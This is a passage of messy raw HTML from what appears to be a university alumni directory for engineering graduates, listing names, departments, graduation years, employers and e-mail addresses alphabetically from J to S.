outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Bakalavr 2011&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p style=\"background:#fffffff;margin-bottom:7.5pt;line-height:normal\"><strong>Javid Atakishiyev&nbsp;</strong>&nbsp;<br></p><p>School of Engineering and Applied Sciences</p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Computer Engineering</p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:&nbsp;&nbsp;<a href=\"mailto:Cavidgs@gmail.com\">Cavidgs@gmail.com</a></p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"mailto:Cavidgs@gmail.com\"></a>Bachelor 2016</p><hr noshade=\"noshade\"><p><strong>Javid Hajizadeh&nbsp;</strong></p><p>Engineering and Applied Sciences &nbsp;</p><p>Petroleum and Natural Gas Engineering&nbsp;&nbsp;</p><p>Azertexnolayn (Steel Pipe Plant)&nbsp;</p><p>QA/QC Engineer&nbsp;</p><p>E-mail: &nbsp;<a href=\"mailto:engineer_hajizadeh@mail.ru\">engineer_hajizadeh@mail.ru</a>&nbsp;,&nbsp;&nbsp;<a href=\"mailto:cavid.hacizade@azertexnolayn.com\">Cavid.Hacizade@azertexnolayn.com</a>&nbsp;&nbsp;</p><p>2012 Graduate&nbsp;</p><p>Master Degree : ADNSU&nbsp;</p><hr noshade=\"noshade\"><p><strong>Javid Salimov</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\">Engineering and Applied Sciences<strong>&nbsp;&nbsp;</strong></p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Petroleum and Natural Gas Engineering&nbsp;&nbsp;</p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:&nbsp;<a href=\"mailto:cavid94@bk.ru\">cavid94@bk.ru cavidsalimov@yahoo.com</a></p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"mailto:cavid94@bk.ru\"></a>Bachelor 2016</p><hr noshade=\"noshade\"><p><strong>Javid Gurbanov&nbsp;</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\">School of Engineering and Applied Sciences&nbsp;</p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Petroleum Engineering and Management&nbsp;&nbsp;</p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">SOCAR , FSSA&nbsp;&nbsp;</p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Deck Boss -&nbsp;Geokinetics Inc&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp;</p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">MSc. Petroleum Engineering (2013-2014 , Heriot- Watt University , UK&nbsp;Scotland , Edinburgh)</p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bachelor&nbsp;2008- 2012</p><hr noshade=\"noshade\"><p><strong>Javahir Hajiyeva</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\">School of Engineering and Applied Sciences&nbsp;</p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Civil Engineering</p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:&nbsp;<a href=\"mailto:Cobolito@gmail.com\">Cobolito@gmail.com</a></p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bachelor 2016</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><h3 id=\"H\" style=\"font-weight:bold\"><strong>H</strong></h3><p style=\"margin-bottom:7.5pt;line-height:normal;background:#fffffff\"><strong><span style=\"font-family:Arial, sans-serif;color:#252525\">Hamida Aliakbarova</span></strong></p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Engineering and Applied Sciences</p>\r\n<p mso-margin-top-alt:auto;line-height:normal;background:white\";margin-bottom:auto\"=\"\">Electronics,\r\nTelecommunications and Radio Engineering</p>\r\n<p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;&nbsp;<a href=\"mailto:Hemide_eliekberova@mail.ru\">Hemide_eliekberova@mail.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Master &nbsp;Honor ,2016</p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br></div><div><strong><h3>I</h3></strong><p><strong>Ilkin Alizade</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Engineering and Applied Sciences</p>\r\n<p>Computer\r\nSciences, 2017</p>\r\n<p>E-mail:\r\n<a href=\"mailto:ializada@khazar.org\">ializada[at]khazar.org</a></p>\r\n<p>Khazar\r\nUniversity, IT administrator assistant</p><p><br></p><p><br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><h3><strong>K</strong></h3><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Kenan Karimov</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Engineering and Applied Sciences</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Oil and Gas Engineering, 2017</p>  <p><strong><br></strong></p><p><strong>Kamzah Memen\r\nObaid Salihi</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Engineering and Applied Sciences</p>\r\n<p>Computer\r\nEngineering, 2017</p>\r\n<p>E-mail:\r\n<a href=\"mailto:memensalihi@gmail.com\">memensalihi[at]gmail.com</a> </p>  <p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><span style=\"font-family:Arial, sans-serif;color:#252525\"><br></span></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><span style=\"font-family:Arial, sans-serif;color:#252525\">Kanan Khasmammadov&nbsp;</span></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Engineering and Applied Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Petroleum and Natural Gas engineering&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Halliburton&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Measurement while drilling (M/LWD) engineer&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:kanan.khasmammadov@gmail.com\">kanan.khasmammadov@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2009-2013&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><span style=\"font-family:Arial, sans-serif;color:#252525\">Kamran Ramizov</span></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Engineering and Applied Sciences</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<a href=\"mailto:kamramizov@gmail.com\">kamramizov@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2015</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p style=\"margin-bottom:7.5pt;line-height:normal;background:#fffffff\"><strong><span style=\"font-family:Arial, sans-serif;color:#252525\">Kamran Sultanov</span></strong></p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Engineering and Applied Sciences</p>\r\n<p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Civil Engineering</p>\r\n<p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<a href=\"mailto:Kamranllyo@mail.ru\">Kamranllyo@mail.ru</a></p>\r\n<p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2016</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><span style=\"font-family:Arial, sans-serif;color:#252525\">Kenan Huseynli</span></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Engineering and Applied Sciences</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Petroleum and Natural Gas engineering&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:aw79882@gmail.com\">aw79882@gmail.com</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:aw79882@gmail.com\"></a>Bachelor 2016</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><h3 id=\"M\" style=\"font-weight:bold\"><strong>L</strong></h3><p><strong>Leyla Ismayilova\r\n</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Engineering and Applied Sciences</p>\r\n<p>Electronics,\r\nTelecommunications and Radio Engineering, 2017</p>\r\n<p>E-mail:&nbsp; <a href=\"mailto:leismayil@gmail.com\">leismayil[at]gmail.com</a></p>  <h3><strong><hr noshade=\"noshade\" style=\"width:100%;height:1px\">M</strong></h3><p><strong>Mahammad\r\nKhalilov </strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Engineering and Applied Sciences</p>\r\n<p>Computer\r\nSciences, 2017</p>\r\n<p>E-mail:\r\n<a href=\"mailto:khalilovmaga05@gmail.com\">khalilovmaga05[at]gmail.com</a> </p>\r\n<p>Harmonygroup\r\nFreelance web programmer</p>  <p><strong><br></strong></p><p><strong>Mahir Askerov </strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Engineering and Applied Sciences</p>\r\n<p>Computer\r\nSciences, 2017</p>\r\n<p>E-mail:\r\n<a href=\"mailto:mahir.asgarov@outlook.com\">mahir.asgarov[at]outlook.com</a></p>\r\n<p>Museum inn\r\nboutique hotel, Reception</p>  <p><strong><br></strong></p><p><strong>Mehman\r\nBaghishzade</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Engineering and Applied Sciences</p>\r\n<p>Computer Engineering, 2017</p>\r\n<p>E-mail:\r\n<a href=\"mailto:Bagiszadem@gmail.com\">Bagiszadem[at]gmail.com</a></p>\r\n<p>Kapital\r\nBank, Operations Specialist</p>  <p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><span style=\"font-family:Arial, sans-serif;color:#252525\"><br></span></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><span style=\"font-family:Arial, sans-serif;color:#252525\">Murad Seyidov&nbsp;</span></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Computer Engineering and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Senior Technology Consultant @ Seabak LLC (IT\r\nManagement Service Provider)</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">ICT Committee Chairman @ American Chamber of Commerce\r\nin Azerbaijan</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:muradts@yahoo.com\">muradts@yahoo.com</a>&nbsp;</p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Masters&nbsp;2001-2004</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><span style=\"font-family:Arial, sans-serif;color:#252525\">Mahammad Mammadov</span></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Engineering and Applied Sciences</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Petroleum and Natural Gas engineering&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Master / Heriot Watt University</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:mammadov.mahammad@yahoo.com\">mammadov.mahammad@yahoo.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2016</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><span style=\"font-family:Arial, sans-serif;color:#252525\">Muzaffar Najaf-Guliyev</span></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Engineering and Applied Sciences</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Silk Way Aviation Company /İT department</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<a href=\"mailto:najafquliyev@gmail.com\">najafquliyev@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2015</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Master: National Aviation Academy Computer Engineering</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><span style=\"font-family:Arial, sans-serif;color:#252525\">Masail Guliyev</span></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Engineering and Applied Sciences</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Petroleum and Natural Gas engineering&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Halliburton, Mud Enginneer</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;&nbsp;<a href=\"mailto:masailguliyev@hotmail.com\">masailguliyev@hotmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor, Honor 2016</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><span style=\"font-family:Arial, sans-serif;color:#252525\">Mushvig Misirkhanov</span></strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">School of Engineering and Applied Sciences</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Civil Engineering</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;&nbsp;<a href=\"mailto:Musu_91@mail.ru\">Musu_91@mail.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2016</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><h3 id=\"N\" style=\"font-weight:bold\">N</h3><p><strong>Natavan\r\nAliyeva</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Engineering and Applied Sciences</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Oil and Gas Engineering, 2017</p>\r\n<p>E-mail:\r\n<a href=\"mailto:aliyeva.natavan91@gmail.com\">aliyeva.natavan91[at]gmail.com</a></p>  <p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><span style=\"font-family:Arial, sans-serif;color:#252525\"><br></span></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><span style=\"font-family:Arial, sans-serif;color:#252525\">Nariman Mustafayev</span></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Engineering and Applied Sciences</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<a href=\"mailto:narimanmustafayev@gmail.com\">narimanmustafayev@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2015</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><span style=\"font-family:Arial, sans-serif;color:#252525\">Nijat Sharbatov</span></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Engineering and Applied Sciences</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">In military service</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<a href=\"mailto:Nicat.s@mail.ru\">Nicat.s@mail.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2015</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><span style=\"font-family:Arial, sans-serif;color:#252525\">Nijat Alizade</span></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Engineering and Applied Sciences</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Computer Science</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">In military service</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<a href=\"mailto:Nicat_10_Arda@mail.ru\">Nicat_10_Arda@mail.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2016</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><span style=\"font-family:Arial, sans-serif;color:#252525\">Namig Tahmazli</span></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Engineering and Applied Sciences</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Computer Science</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Vizyon Elektronik Ltd Şti Android Programist</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<a href=\"mailto:namiqtehmezli@gmail.com\">namiqtehmezli@gmail.com</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:namiqtehmezli@gmail.com\"></a>Bachelorr 2016</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><span style=\"font-family:Arial, sans-serif;color:#252525\">Nurlan Ganbarzade</span></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Engineering and Applied Sciences</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Computer Science</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:nurlan611@gmail.com\">nurlan611@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2016</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><span style=\"font-family:Arial, sans-serif;color:#252525\">Nusrat Mammadkhanli</span></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Engineering and Applied Sciences</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Computer Engineering</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<a href=\"mailto:nmemmedxanli@gmail.com\">nmemmedxanli@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2016</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><span style=\"font-family:Arial, sans-serif;color:#252525\">Nader Hijazi</span></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Engineering and Applied Sciences</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Petroleum and Natural Gas engineering&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;&nbsp;<a href=\"mailto:nader@sng-intl.com\">nader@sng-intl.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor, Honor 2016</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><span style=\"font-family:Arial, sans-serif;color:#252525\">Nayef Aouil</span></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Engineering and Applied Sciences</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Department of Electronics,Telecommunication and Radio\r\nEngineering </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Sigma (Internship)</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;&nbsp;<a href=\"mailto:Aouiln@sigma.com\">Aouiln@sigma.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor, Honor 2016</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><h3 id=\"O\">O</h3><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><span style=\"font-family:Arial, sans-serif;color:#252525\">Oksana Vıxlyanseva</span></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Engineering and Applied Sciences</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Computer Science</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Mst-group /IT technician.</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<a href=\"mailto:Oksanavikhlyanseva@gmail.com\">Oksanavikhlyanseva@gmail.com</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:Oksanavikhlyanseva@gmail.com\"></a>Bachelor 2016</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><h3 id=\"P\"><strong>P</strong></h3><p><strong>Parvane\r\nAbdurahimli</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Engineering and Applied Sciences</p>\r\n<p>Computer\r\nSciences, 2017</p>\r\n<p>E-mail:\r\n<a href=\"mailto:parvana.abdurahimli@khazar.org\">parvana.abdurahimli[at]khazar.org</a> </p>\r\n<p>Khazar University,\r\nAssistant</p>  <p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><span style=\"font-family:Arial, sans-serif;color:#252525\"><br></span></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><span style=\"font-family:Arial, sans-serif;color:#252525\">Pasha Valizade</span></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Engineering and Applied Sciences</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<a href=\"mailto:pasha.valizada.23@gmail.com\">pasha.valizada.23@gmail.com</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:pasha.valizada.23@gmail.com\"></a>Bachelor 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><h3 id=\"R\"><strong>R</strong></h3><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><span style=\"font-family:Arial, sans-serif;color:#252525\">Raj Rajeevan&nbsp;&nbsp;</span></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Engineering and Applied Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Petroleum Enginnering&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Business in India&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"http://mailto:%20rajcr1989@hotmail.com/\">rajcr1989@hotmail.com</a></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><span style=\"font-family:Arial, sans-serif;color:#252525\">Rashid Salmanov</span></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Engineering and Applied Sciences</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:rasidsalmanov@gmail.com\">rasidsalmanov@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2016</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><span style=\"font-family:Arial, sans-serif;color:#252525\">Roza Misirli</span></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Engineering and Applied Sciences</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Computer Science</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Business Insight, It analytic</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;&nbsp;<a href=\"mailto:r.misirli@gmail.com\">r.misirli@gmail.com</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:r.misirli@gmail.com\"></a>Master 2016</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p><strong><span lang=\"AZ-LATIN\" style=\"font-family:Arial, sans-serif\">Ramal Ahmadov</span></strong></p>\r\n<p>School of Engineering and Applied Sciences</p>\r\n<p>Demirbank\r\nJSC, Head Office Group Leader</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:ahmadov.r@gmail.com\">ahmadov.r@gmail.com</a></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">2008</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><h3 id=\"S\">S</h3><p><strong>Samir Gasimov </strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Engineering and 